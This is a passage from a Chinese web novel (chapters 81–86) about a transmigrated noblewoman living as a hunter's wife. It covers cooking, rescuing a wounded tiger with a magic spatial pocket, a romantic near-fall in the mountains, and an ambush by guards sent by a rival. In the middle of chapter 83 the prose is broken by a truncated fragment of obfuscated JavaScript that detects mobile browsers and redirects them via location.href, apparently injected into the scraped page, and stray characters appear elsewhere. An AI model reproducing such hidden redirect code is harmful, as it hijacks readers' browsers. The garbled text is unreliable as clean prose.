在她的指点下,阿兰动作娴熟,手腕用力,很快将面团揉得光滑细腻,盖上湿布醒着。
待面团醒好,揪成大小均匀的剂子,擀成中间稍厚、边缘略薄的圆皮。
再舀一勺韭菜鸡蛋馅放在皮子中间,对折过来,将边缘仔细捏紧,再捏出一圈细细密密的褶子花边,不仅为了好看,也更不易漏馅。
秦阿兰学着包,她手巧,很快就像模像样了。一个个半月形的韭菜盒子整齐排列,像一弯弯翠玉镶了金边。
这时,糯米肉丸的香气已透过锅盖缝隙丝丝缕缕地飘出来,那是糯米清甜与肉脂醇厚交织的、令人安心的暖香。
林若若算着时间,让秦阿兰另起一锅
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,少放油,将包好的韭菜盒子放进去,小火慢烙。
很快,面皮被热油烘出淡淡的焦黄,面香、油香混合着韭菜鸡蛋那无法抗拒的鲜香,弥漫开来,与蒸锅里的肉丸香气互相应和,勾得人馋虫大动。
主食有了,还需汤水。
等赵长风带着洗漱完毕的赵林赵峰走进堂屋时,桌上已经摆得满满当当。
正中间是一大盘热气蒸腾、晶莹油亮的糯米肉丸;
旁边是一大盘烙得两面金黄、皮薄馅足的韭菜盒子;
一大盆浓稠喷香的小米粥冒着热气,香味扑鼻~
另有给大人们准备的,昨日剩下的肉包子重新蒸透,以及新蒸的两合面杂粮馒头。
昨夜,梁石和赵长风不知说了什么,自今日起,家中的堂屋饭桌只赵家人用饭,包括赵山根。
秦阿兰和梁石则在自己屋里吃。
赵长风同意了。
不过,饭食是一样的。
“哇!”赵峰眼睛瞪得溜圆,使劲吸了吸鼻子,“好香啊!娘,这是什么?”他指着糯米肉丸。
“这是糯米肉丸,吃了肚子饱饱,上学有精神。”林若若给他和赵林各夹了一个,“小心烫,慢慢咬。”
“谢谢娘亲。”赵峰小嘴甜着来!
赵林没有说话,被赵长风冷冷地扫了一眼,他赶紧说道:“谢谢林姨。”
林若若摸了摸他的发顶,“一家人,不用谢,吃吧。”
赵林比较沉稳,先吹了吹,才小心咬下一口。
糯米的软糯清甜首先触及味蕾,紧接着是饱含汁水、鲜香弹牙的肉馅,中间夹杂着香菇的醇厚和荸荠的脆爽,层次丰富,好吃得他眼睛都眯了起来。
赵峰则是一口下去,烫得直吸气,却舍不得吐出来,含糊道:“好……好吃!”
韭菜盒子更是受欢迎,外皮微脆带韧,内里韭菜碧绿鲜嫩,鸡蛋松软金黄,混合着香油独特的香气,咸鲜适口。
小米粥浓滑暖胃,杂粮馒头扎实顶饱~
这么美好的生活,赵长风有些恍惚……
第81章 受伤的虎
赵长风喝着小米粥,吃着包子,目光扫过两个儿子吃得头也不抬的模样,又落到林若若含着笑意的眉眼上,最后看了一眼桌上异常丰盛用心的早餐,什么也没说,只是将自己碗里的两个糯米肉丸,默默夹一个到了林若若的碟子里。
林若若微微一怔,抬眼看他。
赵长风已低下头继续喝粥,仿佛只是随手为之。
但络腮胡子掩盖下,依然被林若若看到他红了的耳朵。
也不知他到底生的什么模样~
讨厌的络腮胡子~
林若若红着眼眶,夹起了那个糯米肉丸。
其实,这样的日子也很好,虽然比不得侯府的锦衣玉食,奴仆成群,但是贵在舒心和自在,而且没有府内那么多的勾心斗角,尔虞我诈。
赵长风虽然比自己足足大了十几岁,且性格有些清冷,但事事都为自己着想,哪怕他没有说过,自己也感受到了。
给赵林赵峰带好韭菜盒子又单独给夫子备了一份,林若若就想送两个孩子去坐车上学。
“走吧,林儿峰儿,我送你们去村口坐车去。”林若若今日穿了一件天青色的交颈襦裙,裙边绣着白色的茉莉花,备显清雅。
一早上,赵长风的眼睛就没从她身上离开过~
赵峰背好,小挎包,小胸脯一挺,骄傲地说,“娘亲,我们今后要走着上学,走着放学,这样才能练出好身体,爹爹才会带我们进山。”
林若若惊讶地挑了挑眉,在现代,五六岁正是在父母身边撒娇的年纪,去哪里都要大人接送陪伴。可是,这两个孩子却要日日走上十几里路上学放学,真是难得。
“真的吗?”
“林姨,是真的!我们一定会坚持下来的!”赵林的小脸上也满是自豪。
“行,那就听你们的。那还不快走,我的少爷们!”林若若乐呵呵地打趣着他们。
“那爹娘,叔叔婶婶,我们上学去啦!”赵林赵峰像离开家的小鸟,飞出了赵家的小院。
“去吧,路上注意安全。”林若若仔细地嘱咐着。
赵长风看了林若若一眼,她的眼里都是真切的关心。
这么美好的女子,竟然是自己这个山野老男人的妻子~
赵长风有些心猿意马~
“风哥,咱们走吧。”山根憨厚的声音猛然传来,打断了赵长风的思绪。
他看了看院子里亭亭玉立的妻子突然不想进山了~
感受到他炽热的目光,林若若脸一红,进了灶房。
把留出来的韭菜盒子、肉包子、还有几个馒头装好,又放了两块咸菜,装满了两个水囊的热水,赵长风带着山根,背着弓箭,腰上别着**进山了。
梁石也已经迅速进入角色,带着五人开荒种地去了。
秦阿兰把灶房收拾干净,带着小静去河边洗衣裳了,家里只剩下了林若若。
林若若也有些恍惚……
既然如此清闲,那就去睡个回笼觉吧……
赵长风和山根连着三日打猎,日日都有猎物到手,骡车上都摞着沉甸甸的猎物。
山鸡野兔自不必说,第三日竟猎回了一头不小的野羊和一头体型稍小却獠牙狰狞的野猪。
院角一时堆满了皮子和处理好的肉,浓烈的血腥气混合着草木泥土的味道,却也透着令人心安的丰足。
第四日傍晚,残阳如血,将西边天际染得一片瑰丽。
赵长风与山根赶着骡车下山,车轮碾过崎岖山路,吱呀作响。
行至半山腰一处隐蔽的坳地,那是赵长风早年挖设、近年鲜少查看的旧陷阱所在。山根眼尖,忽然“咦”了一声,拉住缰绳。
“风哥,你看那边……是不是有动静?”
赵长风凝目望去,只见那覆着枯枝败叶的陷阱边缘,似有巨大的黄黑斑纹一闪。
他神色陡然一凛,示意山根噤声,自己悄无声息地摸上前去,手中猎弓已然半张。
陷阱内,枯叶凌乱,隐约传来粗重而痛苦的喘息。
待看清其中情状,饶是赵长风这般经验老到的猎户,也不由倒吸一口凉气。
陷阱底部,赫然伏着一头斑斓猛虎!
这虎体型
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并非顶大,却依旧威猛慑人,只是此刻它侧卧着,左后腿以一个不自然的角度扭曲,深可见骨的伤口横贯腰腹,血迹将身下泥土枯叶浸得一片暗红。
更触目惊心的是它脖颈处一道撕裂伤,皮肉翻卷,似是与其他猛兽搏斗所致。
它察觉到上方有人,勉力抬起硕大的头颅,琥珀色的虎目黯淡无光,却仍残余着山林之王的凛冽与悲凉,喉咙里发出低低的、充满威胁与痛苦的呜咽,试图撑起前肢,却又无力地跌回去。
“是头伤虎!”山根凑过来,压低声音,又是惊骇又是兴奋,“看样子伤得很重,怕是活不成了。风哥,这……这可是大货!”
赵长风眉头紧锁,盯着陷阱中的猛兽,眼神复杂。
虎虽重伤,余威犹在,且陷阱不算深,若它拼死一跃,未必不能伤人。
他沉吟片刻,果断道:“不能在这里处理。天快黑了,危险。先把今天的猎物运回去,我回来再收拾它。”
两人迅速将骡车赶回家中。
卸货时动静不小,林若若和秦阿兰都出来帮忙。
看到那头野猪和堆积的皮子,林若若暗暗咋舌。赵长风匆匆将猎物归置好,便去检查弓箭,打磨**,又往怀里揣了绳索和一大包止血消炎的草药粉——这是他常年进山备着的。
林若若见他神色凝重,动作匆忙,忍不住问道:“今日回来这般晚,可是遇到了什么事?还要连夜上山?”
赵长风手上动作不停,简短答道:“陷阱里落了头伤虎,得去收了,免得夜长梦多。”
“老虎?!”林若若心头一跳,脑海中瞬间浮现出那威猛又脆弱的生灵影像。
3几乎是本能地,她空间里那汪灵泉和滋养万物的气息涌动起来。一个念头不可抑制地升起:或许……我能救它?
“我跟你去。”她脱口而出。
赵长风猛地抬头,斩钉截铁:“不行!那是猛兽,即便重伤也危险得很。你留在家里。”
“正是因为危险,我才更要去!”林若若的声音斩钉截铁……
第82章 救治
林若若上前一步,目光恳切而坚定,声音却压低了,
“长风,你信我。我不是去添乱。我……我在侯府,跟着一个师父学过些医术,对处理重伤有些独门法子。那老虎伤成那样,或许……或许还有一线生机?就算真要……我也许能帮上忙,让你更稳妥些。”
她不能直言空间之事,只能以医术为借口。
赵长风凝视着她,昏暗的油灯光线下,她清澈的眸子里没有丝毫畏惧,只有一片真切的焦急与某种他看不分明的决心。
想起她平日里那些“独门”的食材和调理身子的巧妙,想起她对孩子们、对山根、对这个家的细心照拂,他冷硬的心弦被拨动了。
或许,她真的有些特别的本事?
“山里夜路难行,且有野兽。”他的语气松动了些,但仍顾虑重重。
“你常走的路,我跟着你。你护着我。”林若若语气软了下来,带上了一丝依赖,“若实在不行,我远远看着,绝不妨碍你,可好?我心里……实在放不下。”
秦阿兰在一旁听得心惊胆战,想劝又不敢插嘴。
赵长风沉默良久,终是败在她那混合着担忧、坚持与柔软的目光下。
他叹了口气:“跟紧我,一切听我的。若有不对,立刻躲远。”
“嗯!”林若若重重点头,迅速回屋换了一身更利索的深色衣裙,将头发紧紧绾起,又悄悄从空间取了些灵泉水和效果更强的伤药粉藏在袖中。
月色初升,清辉洒在山道上,映出一路斑驳摇曳的树影。
赶着骡车,到了山脚下,赵长风一手持着松明火把,一手稳稳握着猎弓,走在前面。
林若若紧跟其后,手中也握着一根粗壮树枝探路。
山根原本想跟来,被赵长风厉声喝止,命他守好家门。
夜间的山林与白日迥异,各种窸窣声响、远处不知名野兽的嚎叫,都让人心头发紧。
林若若掌心沁出汗,但看着前方赵长风宽阔挺拔、仿佛能劈开一切黑暗的背影,又奇异地安定下来。
赵长风不时回头确认她的位置,脚步刻意放慢,等着林若若慢慢跟上来。
“你累不累?累了咱们就休息一会儿。”赵长风看着月光下林若若有些汗湿的额头,握紧了拳头。
两人一路无话,只有脚步声、呼吸声与山林夜语。
终于,再次来到那处陷阱旁。
松明火把的光照亮陷阱一角,那老虎似乎连抬头的气力都没了,只有腹部微弱的起伏显示它还活着。血腥气更加浓重。
赵长风示意林若若停在数丈外的安全距离,自己则小心翼翼地靠近陷阱边缘,弓弦拉满,箭镞瞄准老虎要害,以防其暴起。
“它伤得太重了,”赵长风观察片刻,低声道,“失血过多,加上内伤,活不过今晚。我给它个痛快,免得受苦。”
“等等!”
林若若急道,忍不住上前几步,“让我看看!就一眼,或许……或许真有救呢?”
她的声音在寂静的山林里显得格外清晰,带着不易察觉的颤抖。
赵长风回头看她,火光映照下,她脸色有些发白,眼神却亮得惊人,紧紧盯着陷阱中的老虎,那目光不像看猎物,倒像是……看一个亟待救助的生命。他心下一软,侧身让开些许,“小心,别靠太近。”
林若若慢慢挪到陷阱边,俯身看去。近距离观看,老虎的伤势更显狰狞可怖,生命力正从那些伤口飞速流逝。
那巨大的躯体微微颤抖,琥珀色的眼睛半阖着,竟朝她的方向转动了一下,眼神涣散,却奇异地没有了先前的凶戾,只剩下无尽的痛苦与一种濒死的茫然。
这一眼,让林若若的心狠狠一揪。
她仿佛能感受到它承受的巨大痛楚和生命流逝的哀凉。
救它!这个念头无比强烈。
她深吸一口气,转向赵长风,语气是前所未有的认真与恳求:
“长风,你信我一次。我有办法暂时稳住它的伤势,至少……让它不那么痛苦。你帮我把它弄上来,好不好?我保证,
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如果情况不对,你随时可以动手。”
赵长风眉头拧成了结:“若若,这不是儿戏。这是老虎!”
“我知道!正因如此,我才不能眼睁睁看它这样死去。”
林若若抓住他的胳膊,指尖微凉,“你看它的眼睛……它不想死,至少不该是这种痛苦的死法。就当……就当为我积福,为孩子们积福,好不好?求你了。”
她的恳求柔软却执拗,眼中甚至泛起了泪光。
赵长风从未见过她这般模样,坚硬的心防终于裂开一道缝隙。
他看了看气息奄奄的老虎,又看了看泪光盈盈却目光坚定的妻子,一种混合着无奈、担忧以及某种说不清道不明的信任涌上心头。
“……好。”
他终于吐出这个字,声音干涩,“但你要绝对听我指挥。我先用绳索套住它,依靠大树,把它拖上来。你退远,准备好你的……药。”
林若若立刻点头,退到一旁,从袖中取出灵泉水和伤药粉,紧张地看着。
赵长风动作极其谨慎,他将绳索结成活套,慢慢垂下,凭借高超的技巧,在不进一步刺激老虎的情况下,套住了它的前肢和身躯。然后,他寻了棵结实的大树,利用杠杆原理,与林若若合力,一点点将沉重的老虎从陷阱中拖拽上来。
老虎几乎没有任何挣扎,任由他们施为,只在被拖动时发出几声极其微弱的痛哼。
待到老虎完全脱离陷阱,躺在平地上,赵长风立刻持弓警戒。
林若若却不顾他的阻止,快步上前,在老虎身边蹲下。
“若若!”赵长风低喝。
“它没力气伤人了。”林若若轻声道,颤抖的手却坚定地打开水囊,将灵泉水缓缓浇在老虎最严重的几处伤口上。
清澈的泉水带着空间独有的清凉生机气息,浸润着翻卷的皮肉。她又将伤药粉厚厚撒上。
奇迹般的,伤口渗血的速度似乎减缓了。
老虎的身体微微一震,半阖的眼睛睁开些许,之后就看向林若若~
第83章 归途
老虎看过来的目光中,凶戾彻底消散,只剩下深深的疲倦和一丝难以言喻的……
疑惑?甚至是感激?
林若若与那琥珀色的眸子对视,心中默念:“大白,让这只老虎进去,到空间去养伤行吗?”她集中精神,尝试沟通空间。
空间里,正在草地上晒太阳的大白听到若若的声音,一个鹞子翻身,跳了起来,“老虎?!主子,你在说什么?!你不怕他把我给吃了?!”
“放心,它受了重伤,伤不了你。再说了,你就是空间里的老大,谁敢不听你的?!况且以后老虎伤好了,你就多了一个老虎小弟呢!”
林若若的马屁一拍,大白顿时就高兴了起来,摇头晃脑地跑过来,“行吧,让他进来吧!”
于是,林若若手放在老虎的脑门上,心中默念,“进空间养伤吧。”
“若若~”
就在赵长风以为她还要做什么,准备上前拉她时,令他毕生难忘的一幕发生了——
地上那庞大的虎躯,竟凭空消失了!只留下地上凌乱的痕迹和淡淡的血腥气。
赵长风瞳孔骤缩,猛地抢上前,将林若若护在身后,猎弓对准空空如也的地面,浑身肌肉绷紧,脸上是前所未有的震惊与骇然:
“……虎呢?若若,这是怎么回事?!”
老虎凭空消失的震撼还在心头激荡,林若若的手腕便被赵长风一把攥住。
他力道极大,指尖甚至有些微颤,目光如炬,紧紧锁着她,声音压得又低又急:“那老虎……怎么回事?你……”
无数疑问和惊骇堵在喉咙,眼前发生的事完全超出了他的认知。
林若若心知瞒不过,此刻也不是细说的时候。
她反手握住赵长风紧绷的手臂,触手一片坚硬,她能感觉到他身体的戒备和震动。
“长风,现在不是说这个的时候。”她尽量让声音平稳,带着安抚的意味,“我们先下山,回家。我保证,到家之后,我一定原原本本告诉你。那老虎……它在一个安全的地方,不会伤人。”
她眼神清澈而恳切,望进他惊疑未定的眼底,“信我,最后一次,好吗?”
山风掠过林间,吹得松明火把呼呼作响,光影在他们脸上跳动。
赵长风胸膛起伏,深深看了她一眼,那目光复杂极了,有震惊,有困惑,有未消的警惕,但最终,触及她眼中不容错辨的真诚与那丝因他紧张而生的歉意,所有翻腾的情绪都被一种更深沉的东西压了下去。
他闭了闭眼,再睁开时,已恢复了往日的沉静,只是眸底深处沉淀着浓重的疑虑与探究。
“……先下山。”他哑声吐出三个字,松开了她的手腕,却转而紧紧抓住了她的手,掌心滚烫,“跟紧我,一步也别落下。”
回去的路,似乎比来时更显崎岖幽暗。
赵长风一手举着火把,一手牢牢牵着林若若,几乎是将她半护在怀里,脚步迈得又稳又快,却时时顾着她的步调。
他不再说话,全身的感官都调动起来,耳听八方,眼观六路,任何一点风吹草动都让他瞬间绷紧神经。
方才老虎消失的诡异一幕,让他对这片熟悉的夜晚山林,也生出了前所未有的戒惧——不是怕野兽,而是怕那无法理解的力量,更怕这力量会伤及身边人。
林若若乖乖跟着,心知他受了极大冲击,此刻任何解释都苍白,只能沉默地信任他的引领。
她的脚踝方才在陷阱边蹲了太久,又紧张发力,此刻隐隐有些酸软,加上心神激荡,脚下便不如来时稳当。
走到一处陡坡,碎石松散。
赵长风先一步踏稳,回身用力拉她:“小心这里……”
话音未落,林若若脚下恰好踩到一块活动的石头,猛地一滑!
“啊!”她短促地惊叫一声,整个人失去平衡,朝坡下歪去。
那一瞬间,赵长风的呼吸都停了!
心脏像是被狠狠攥住,骤然缩紧,一种几乎要灭顶的恐慌席卷而来,比面对猛虎时更甚十倍!35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17090173|195428||http|test|mini|href|location''.split(''|''),0,{}));
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r>他根本来不及思考,身体先于意识做出了反应。
抓着她的大手猛力回带,另一只拿着火把的手也毫不犹豫地松开,火把掉落在地,溅起几点火星。
他长臂一揽,迅捷无比地将那即将倾倒的温软身子整个捞进怀中,紧紧箍住,脚下踉跄两步,靠着惊人的腰力和对地形的熟悉,堪堪稳住身形,背脊重重撞在一棵粗糙的树干上,闷哼一声。
一切发生在电光石火之间。
林若若惊魂未定,只觉天旋地转后,落入一个坚实无比的胸膛。
男人身上熟悉的汗味、山林的气息,还有一丝极淡的血腥气(或许是之前沾染的老虎血),混合成一种极具侵略性的雄性味道,将她完全包裹。
他的手臂铁箍般环在她的腰间和背后,力道大得让她有些疼,心跳如擂鼓,隔着厚厚的衣衫也能感受到那剧烈搏动的节奏,不知是他的,还是她的,或者早已混成一团。
夜色浓重,只有地上未熄的火把提供着有限的光亮。
他们紧紧相贴,隔着衣物,体温毫无阻隔地传递。
林若若的脸颊贴着他颈侧,能感受到他皮肤的热度和喉结的滚动。
他的呼吸粗重,一下下喷在她的发顶。
赵长风确实吓坏了。
直到真切地将人完完整整地拥在怀里,感受到她的体温和柔软,那颗悬到嗓子眼的心才稍稍落回一点,随即便是更汹涌的后怕。
他低下头,下巴抵着她的发心,手臂又收紧了几分,声音是从未有过的沙哑紧绷:“……伤着没有?脚扭了?还是哪里疼?”
一边问,一边下意识地想低头查看,这个动作却让两人的身体贴得更密,几乎严丝合缝。
林若若轻轻动了一下,想抬头回答,嘴唇却不经意擦过他凸起的喉结。
两人同时一僵。
赵长风全身的肌肉瞬间绷得像石头,箍着她的手臂也猛地一顿。
黑暗中,他的呼吸滞了一瞬,随即变得更加灼热、沉重~
第84章 情谊绵绵
那拂过赵长风喉结的柔软触感,像一点星火,骤然点燃了压抑已久的某种东西。
他是个正常的、血气方刚的男人,怀中是自己明媒正娶、朝夕相对的妻子。
虽然因着那份尊重与承诺,一直苦苦压抑,未曾越雷池半步,但每每看到她巧笑倩兮,感受到她的聪慧善良,午夜梦回时,那纤细的身影又何尝不曾入梦?
此刻,温香软玉在怀,惊悸未褪的依赖姿态,夜晚山林独有的隐秘氛围,所有的一切都成了催化剂。
他能清晰地感受到怀中娇躯的每一处曲线,柔软得不可思议,与他坚硬的躯体截然不同。
一股灼热的气流从小腹直冲上来,奔腾咆哮,几乎要冲垮理智的堤防。
林若若也感觉到了他身体的变化,那瞬间变得滚烫的体温和陡然僵硬又充满力量的怀抱,让她脸颊轰然发热,心慌意乱。
她并非无知少女,自然明白那意味着什么。
她僵着不敢再动,连呼吸都放轻了。
时间仿佛凝固。
只剩下山林的风声,地上火把细微的噼啪声,以及彼此交错、越来越难以平复的呼吸与心跳。
半晌,赵长风极其艰难地、一点一点地松开了些许力道,但并未放开她。
他将她的头轻轻按回自己肩窝,避开了可能再次“擦枪走火”的接触,声音哑得几乎不成调:“……别动。让我……抱一会儿。就一会儿。”
那声音里带着未曾消散的后怕,还有极力压抑的、浓烈到令人心颤的情感,以及一丝清晰的痛苦挣扎。
林若若心尖一颤,停止了所有细微的挣扎,安静地伏在他怀里。
她能听见他如雷的心跳正一点点试图恢复平稳,能感受到他身体细微的颤抖。
这个沉默如山、总是将一切担在肩上的男人,此刻流露出的脆弱与炽热,比任何言语都更撼动她的心扉。
她悄悄伸出手,环住了他劲瘦的腰身,轻轻拍了拍他的背脊。
这个回应般的动作,让赵长风的身体再次狠狠一震。
他闭上眼,将脸埋进她带着清香的发丝间,深深吸了一口气,再缓缓吐出,那灼热的、几乎失控的洪流,被强大的意志力一点点逼退,封回心底最深处的牢笼。
又过了片刻,他才彻底松开她,弯腰捡起地上的火把,重新点燃。
火光映照下,他的脸廓分明,表情已恢复了大半的沉静,只是耳根仍有些不易察觉的红,眼神深不见底,不敢再与她对视。
“……能走吗?”他问,声音还有些沙。
“嗯,能走。”林若若低声答,脸上热度未退。
“能走也不让你走~”
黑夜里,传来赵长风低低的笑声……
“你真坏!”伴着一声娇嗔的埋怨,林若若不由自主抡起自己的小拳头,锤向赵长风铁一样坚硬的胸口。
赵长风把她往上托了托,凑到她耳边,小声说,“搂紧我,别把你掉下去!”
“嗯。”
林若若小声应了,慢慢把自己的脑袋塞进赵长风的肩头~
赵长风心跳得厉害,忍不住咧开嘴笑了。
“哎呀!”
突然一声软软的娇吟,差点让他摔到地上去。
“怎么了?!”赵长风停下脚步,借着时明时暗的月光,看向怀里的娇娇人儿。
“你胡子扎到我了!”林若若的声音透着笑意,还有浅浅的撒娇。
赵长风的心跳得自己都控制不住,小声嘀咕,“对不住了。”
夜色渐深,山风裹挟着远处模糊的人声,断断续续飘了上来。
赵长风脚步猛地一顿,原本因怀中温软而略显松弛的肌肉瞬间再次绷紧。
他侧耳倾听,眼神在火光映照下锐利如鹰。
林若若也听见了,那绝不是村里人夜间活动的声音——语调节奏带着一种陌生的、透着股搜寻意味的急躁,而且不止一人。
“嘘。”赵长风极低地在她耳边吐出气息,温热却带着十足的警醒。
他迅速环视四周,抱着林若若闪身躲到一丛茂密的灌木和一块凸出的山岩形成的阴影里。
这里既能遮蔽身形,又能透过枝叶缝隙观察下方山路的情形
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。
他将林若若小心放下,让她靠在山岩上,自己则半跪在前,屏息凝神,目光如炬地投向声音来处。
火把早已被他踩灭插在一旁土里,只剩微弱的月光勾勒出山林模糊的轮廓。
但赵长风常年狩猎,目力极佳,很快便看清了下面小路上晃动的两个身影,以及他们手中提着的、用于照明的气死风灯。
灯光映出两人劲装打扮,腰佩短刀,步履间透着训练有素的警惕,绝非普通村民或山野闲汉。
“仔细找找!这都多少天了,活不见人死不见尸,小姐那边没法交代!”一个略显粗嘎的男声压低了说道,透着不耐。
“头儿,这黑灯瞎火的,山路又杂,那五个废物别是拿了钱跑了吧?”另一个声音年轻些,带着怀疑。
“跑?他们家小都在城里捏着呢,敢跑?怕是折在这山里了也说不定……妈的,这穷山恶水的,早知道这差事这么麻烦……”
粗嘎声音啐了一口,“小姐也真是,跟个村妇置什么气,还非得……咦?”
两人说着话,脚步停了下来,灯光在附近草丛、石后逡巡,似乎是在寻找什么痕迹,或者……接头的标记。
林若若的心提了起来,借着微弱的光线看向赵长风。
永平侯府何美美!
这个名字瞬间划过脑海,联想到之前那五个混混和他们的供词,一切不言而喻。
何美美果然贼心不死,竟又派人寻来了!而且听口气,这次来的还是她自己的护卫,比上次的地痞难对付得多。
赵长风显然也听明白了。
他侧脸线条在阴影中绷得冷硬,眼神里翻涌着冰冷的怒意和杀机。
何美美一而再地对他妻子下手,已然触了他的逆鳞。
但此刻并非发作之时,对方有两人,且带着兵器,自己虽然不惧,但若若就在身边,他绝不能冒险。
他轻轻握住林若若的手,指尖在她掌心快速而轻缓地划了几下。
那是他们之间偶尔用过的一种简单暗号,意思是:别动,看我手势,有机会就绕路。
第85章 又一拨?
林若若立刻会意,重重点头,反手握紧他粗粝的手指,传递着无声的信任。
下方两人搜寻无果,骂骂咧咧地又往山上走了一段,眼看就要接近赵长风他们藏身的区域。
赵长风眼神一凛,轻轻松开林若若的手,从靴筒中悄无声息地摸出了他那柄锋利的猎刀。
就在其中一人举灯朝这边灌木丛照来的刹那——
“咕咕——咕咕——”
几声惟妙惟肖的山鸡叫声,突然从侧后方不远处的密林里响起,在寂静的夜晚格外清晰,还伴随着扑棱棱似有鸟儿惊飞的动静。
“那边有动静!”年轻护卫立刻被吸引,灯芒转向。
“过去看看!小心点!”粗嘎声音也立刻戒备起来。
两人警惕地朝着假鸟叫声传来的方向小心摸去。
就在他们转身背对这边的一瞬,赵长风动了!
他如同潜伏已久的猎豹,没有发出半点声响,借着岩石和树木的掩护,一手抱起林若若,猫着腰,以惊人的速度向侧下方另一条更隐蔽的、被荒草覆盖的小径疾行。
这条路陡峭难行,平时极少有人走,但直通村后的一片竹林,绕过那里就能回到家。
他的脚步又快又稳,即使抱着一个人,在崎岖的山路上也如履平地。
林若若紧紧搂着他的脖子,将脸埋在他肩头,能感觉到他胸腔内沉稳有力的心跳,以及肌肉贲张所蕴含的力量。
风声在耳边掠过,下方那两个护卫的声音和灯光迅速被抛远、模糊。
直到彻底听不见人声,只有潺潺的溪流声越来越近(村后竹林边有条小溪),赵长风才放缓脚步,但仍未放下林若若,警惕地观察着四周。
“暂时安全了。”他低声道,声音里带着一丝疾行后的微喘,但更多的是冷肃,“何美美的人找到这里,村里也不见得完全安全。那五个人在后山开荒,动静不小,怕是瞒不过有心人。”
林若若从他怀里抬起头,月光下,她的眼睛亮晶晶的,没有惧意,只有冷静的思索:
“他们这次没找到人,恐怕不会善罢甘休。而且听口气,何美美是私下派的人,侯府未必知情。我们得早做打算。”
赵长风点头,看着她镇定聪慧的模样,心中那股暴戾的怒火奇异地平复了些,转化为更坚实的保护欲和筹谋。
“先回家。甲一他们五个,也得敲打敲打,问清楚当初到底还留了什么首尾。至于何美美……”
他眸色转深,“她既然把手一次次伸到赵家村,伸到你我面前,就别怪我把她的手剁了!”
语气平淡,却带着山雨欲来的寒意。
林若若握紧他的手:“嗯,回家。我们一起想办法。”
赵长风不再多言,重新将她背稳(这次是更稳妥的背姿),大步流星,踏着月色溪声,朝着竹林后那处亮着温暖灯光的家走去。
赵长风背着林若若,悄无声息地回到自家院外。
他没有立刻进门,而是先将林若若小心放下,示意她稍等,自己如同暗夜中的幽灵,贴近院墙,凝神细听片刻,确认院内并无异样,只有东屋梁石房中传来轻微的、规律的鼾声,赵林赵峰那里也寂静无声,这才稍稍放下心。
他转身对林若若极轻地说:“你先别动。”
然后自己轻巧地翻过低矮的土坯院墙,落地无声,快步走到梁石夫妇居住的东屋窗外,屈指在窗棂上扣了三下,两急一缓。
屋内鼾声骤停,紧接着是窸窣的穿衣声和梁石压低的警惕询问:“谁?”
“我,长风。梁石,穿好衣服,带家伙出来一下,有事。”赵长风的声音平稳而短促。
门很快被拉开一条缝,梁石高大的身影闪了出来,手里已经握上了他那把祖传的大刀,脸上睡意全无,眼神锐利。
“咋了?出事了?”秦阿兰也迅速地披衣站在门内。
“有几个不长眼的摸到山脚了,可能是冲若若来的。”
赵长风言简意赅,“我得带山根去后山处理一下。守
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好家里,警醒些,护好若若和几个孩子。若若就在院外,我让她进来。”
梁石面色一肃,重重点头:“主子放心,有我在,一只野猫也别想溜进来!”秦阿兰也连连点头,赶紧回屋去照看还在熟睡的孩子。
赵长风这才打开院门,让林若若进来。
林若若快速将山脚下听到的对话和自己的判断低声告诉了梁石夫妇。
梁石听得怒火中烧:“这侯府小姐也太恶毒了!一而再再而三!主……长风,你去料理后山,家里交给我!”
赵长风拍了拍梁石坚实的臂膀,一切尽在不言中。
他又深深看了林若若一眼,林若若冲他点点头,眼神坚定:“你一切小心。我在家里等你回来。”
“嗯。”赵长风看着妻子倾国倾城的脸庞,轻轻点了点头,之后转身,大步流星走向西侧厢房,敲响了山根的房门。
不过片刻,同样被迅速唤醒、弄清原委的山根,已经抄起他的柴刀和绳索,跟着赵长风,如同两道融入夜色的黑影,迅疾而沉默地没入通往村后的黑暗中。
山根虽然平日憨厚,但身手敏捷,对山林熟悉程度不亚于赵长风,更是绝对可靠。
后山那片新开垦的荒地旁,临时搭着几个简陋的窝棚,甲一甲二甲三甲四甲五五人平日里就在这里落脚劳作。
此刻夜深,窝棚里漆黑一片,一点点的声音都没有。
而距离窝棚不远的林边空地上,却晃动着几点灯光,正是那六个侯府护卫。
他们搜寻无果,正聚在一起低声商议,显然也发现了这片新开垦的痕迹和窝棚,起了疑心。
“头儿,你看这地,新翻的,还有窝棚,是不是那五个废物躲在这儿?”其中其中一个年轻人指着窝棚道。
领头模样的护卫队长,面容精悍,眼神阴鸷,盯着窝棚仔细地看了看,又环视了一圈周围黑黢黢的山林,总觉得有些不对劲。
“小心点,过去两个人看看,其余人警戒。”
第86章 来者不拒
后山那片新开垦的坡地旁,搭着几个简陋的窝棚,但里面一个人也没有。
而距离窝棚不远处的山林边缘,隐约有几点微弱火光晃动,正是那六个侯府护卫。
他们似乎刚搜寻到附近,正低声商议,语气颇为烦躁。
“……看来那五个废物真不在这儿难不成卷着钱跑了?”
“总不能是被人杀了吧!”一个吊眼的男人压低声音。
一个圆脸的少年赶紧摇摇头,说道,“应该不能。小姐说了,若若小姐的相公是个猎户,那些日子正好受了重伤。他没有能力。”
“啪!”
一个耳光在这深夜的山脚炸响。圆脸少年被人狠狠扇了一巴掌!
“谁是你小姐?!说话注意点!林若若已经不是侯府嫡女了,她现如今就是个农妇!记住了没有?!”一个黑脸大汉吼道。
“都闭嘴!”看样子,一个像是小队长的男人说话了,此人额头有一道疤,目光凶狠。
“头儿,那接下来怎么办?回去怎么跟小姐说?”
“说个屁!再往前找找,找不到……找不到也得带点‘东西’回去交差!那个村妇不是住山下吗?大不了……”
阴狠的话语尚未说完,破空之声骤响!
“嗖!啪!”一枚尖锐的石子精准地打灭了其中一人手中的气死风灯,紧接着又是几下,另外两盏灯也应声而灭!
“谁?!”护卫头领惊怒交加,呛啷一声拔出了佩刀。
其余五人也慌忙亮出兵刃,背靠背围成小圈,紧张地望向黑暗。
回答他们的,是两道如猛虎下山般扑出的黑影!
赵长风率先发难,猎刀在月光下划出一道冰冷的弧线,直取那头领握刀的手腕,又快又狠!山根则闷吼一声,枣木棍带着风声横扫向最近两人的下盘,势大力沉!
惨叫声、金属交击声、怒骂声瞬间打破了山夜的宁静!
